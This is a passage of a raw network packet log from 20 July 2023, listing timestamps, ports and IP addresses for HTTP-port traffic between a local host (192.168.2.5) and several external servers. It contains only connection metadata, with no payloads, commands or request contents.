Jul 20, 2023 11:45:36.454009056 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454025030 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454222918 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454262972 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454281092 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454298019 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454313993 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454392910 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454458952 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454476118 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454492092 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454508066 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454524040 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454540968 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454556942 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.454612970 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.460541964 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.473906040 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.474087000 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.474831104 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.474895000 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.474956989 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.474996090 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.496334076 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.496522903 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.497956991 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.498028040 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.498068094 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.498116016 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:54.715805054 CEST	49723	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:54.735197067 CEST	80	49723	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:54.735305071 CEST	49723	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:54.735474110 CEST	49723	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:54.754710913 CEST	80	49723	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:54.776949883 CEST	80	49723	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:54.777189970 CEST	49723	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:54.777332067 CEST	80	49723	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:54.777389050 CEST	49723	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:54.789164066 CEST	80	49723	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:54.789307117 CEST	49723	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:54.797209978 CEST	80	49723	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.807733059 CEST	49724	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.826800108 CEST	80	49724	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.826934099 CEST	49724	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.827234030 CEST	49724	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.827316999 CEST	49724	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.828893900 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.846180916 CEST	80	49724	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.846204996 CEST	80	49724	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.846220970 CEST	80	49724	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.846283913 CEST	49724	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.848653078 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.848773003 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.851581097 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.871133089 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871157885 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871170998 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871185064 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871198893 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871217012 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871233940 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871242046 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.871251106 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871268034 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871279955 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.871287107 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.871315956 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.871335983 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.872181892 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.872272968 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.890953064 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.890974998 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.890990019 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891041994 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891047955 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891064882 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891071081 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891078949 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891102076 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891110897 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891118050 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891133070 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891164064 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891170979 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891180038 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891204119 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891269922 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891284943 CEST	80	49725	76.223.26.96	192.168.2.5
Jul 20, 2023 11:45:56.891305923 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:45:56.891329050 CEST	49725	80	192.168.2.5	76.223.26.96
Jul 20, 2023 11:46:15.174910069 CEST	49726	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:15.189981937 CEST	80	49726	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:15.190133095 CEST	49726	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:15.190228939 CEST	49726	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:15.205178976 CEST	80	49726	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:15.334331036 CEST	80	49726	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:15.334409952 CEST	80	49726	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:15.334765911 CEST	49726	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:15.334857941 CEST	49726	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:15.358298063 CEST	80	49726	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.348572969 CEST	49727	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.363466024 CEST	80	49727	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.363609076 CEST	49727	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.363862038 CEST	49727	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.363905907 CEST	49727	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.365205050 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.378381968 CEST	80	49727	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.378424883 CEST	80	49727	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.388601065 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.388817072 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.390978098 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.392702103 CEST	80	49727	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414407969 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414436102 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414449930 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414462090 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414474010 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414486885 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414494991 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414501905 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414547920 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414577007 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.414594889 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.414594889 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.414740086 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.414844036 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.435934067 CEST	80	49727	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.435962915 CEST	80	49727	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.436094999 CEST	49727	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.436840057 CEST	49727	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.437963009 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.437987089 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.437999964 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438014030 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438025951 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438038111 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438051939 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438060999 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438082933 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438122034 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438137054 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438150883 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438174963 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438226938 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438226938 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438263893 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438601971 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438616991 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438631058 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438643932 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438657045 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438692093 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438699007 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438704967 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438699007 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438699007 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438743114 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438756943 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.438772917 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438805103 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.438838959 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461395979 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461422920 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461452961 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461467028 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461481094 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461493969 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461507082 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461514950 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461524010 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461536884 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461585045 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461585045 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461585045 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461643934 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461736917 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461736917 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461767912 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461782932 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461798906 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461807013 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461815119 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461822033 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461828947 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461837053 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461843967 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461855888 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461857080 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461865902 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461889982 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461956024 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.461973906 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.461990118 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462002993 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462017059 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462028980 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.462028980 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.462104082 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462117910 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462130070 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462137938 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.462142944 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462160110 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462173939 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462186098 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462198973 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462210894 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462223053 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462235928 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462337971 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462351084 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.462363958 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485085964 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485122919 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485141039 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485158920 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485176086 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485378981 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485398054 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485415936 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485434055 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485451937 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485470057 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485486984 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485503912 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485521078 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485538006 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485554934 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485572100 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485589027 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485605955 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485622883 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485640049 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485713959 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485748053 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485765934 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485781908 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485800028 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485817909 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485835075 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485852003 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485868931 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485886097 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485904932 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485922098 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.485991001 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486008883 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486025095 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486042023 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486057997 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486074924 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486092091 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486109018 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486124992 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486141920 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486159086 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.486185074 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.491805077 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.509630919 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.509665966 CEST	80	49728	34.149.87.45	192.168.2.5
Jul 20, 2023 11:46:17.509748936 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:17.509749889 CEST	49728	80	192.168.2.5	34.149.87.45
Jul 20, 2023 11:46:39.632174969 CEST	49729	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:39.804155111 CEST	80	49729	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:39.806226969 CEST	49729	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:39.806387901 CEST	49729	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:39.981245041 CEST	80	49729	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.046875954 CEST	80	49729	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.046921968 CEST	80	49729	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.047055960 CEST	49729	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.318197966 CEST	49729	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.321100950 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.493654013 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.493870974 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.497159958 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.669481993 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.669533968 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.669572115 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.669718027 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.669822931 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.841839075 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.841993093 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.841998100 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.842068911 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.842461109 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.842556953 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.842860937 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.842879057 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.842921972 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.842971087 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.843384027 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.843400002 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:40.843456984 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:40.843482018 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.014617920 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.014664888 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.014693022 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.014893055 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.015006065 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.015253067 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.015269995 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.015285015 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.015353918 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.015414000 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.015517950 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.015798092 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.016294956 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.016315937 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.016724110 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.016983986 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.017002106 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.017486095 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.187256098 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.187295914 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.187498093 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.187877893 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.188208103 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.189101934 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.189146996 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.189440012 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.189799070 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.190282106 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.190409899 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.190475941 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.190679073 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.290138006 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.290162086 CEST	80	49730	184.94.215.140	192.168.2.5
Jul 20, 2023 11:46:41.290365934 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:41.290407896 CEST	49730	80	192.168.2.5	184.94.215.140
Jul 20, 2023 11:46:57.349117041 CEST	49731	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:57.366036892 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.367245913 CEST	49731	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:57.367342949 CEST	49731	80	192.168.2.5	23.227.38.74
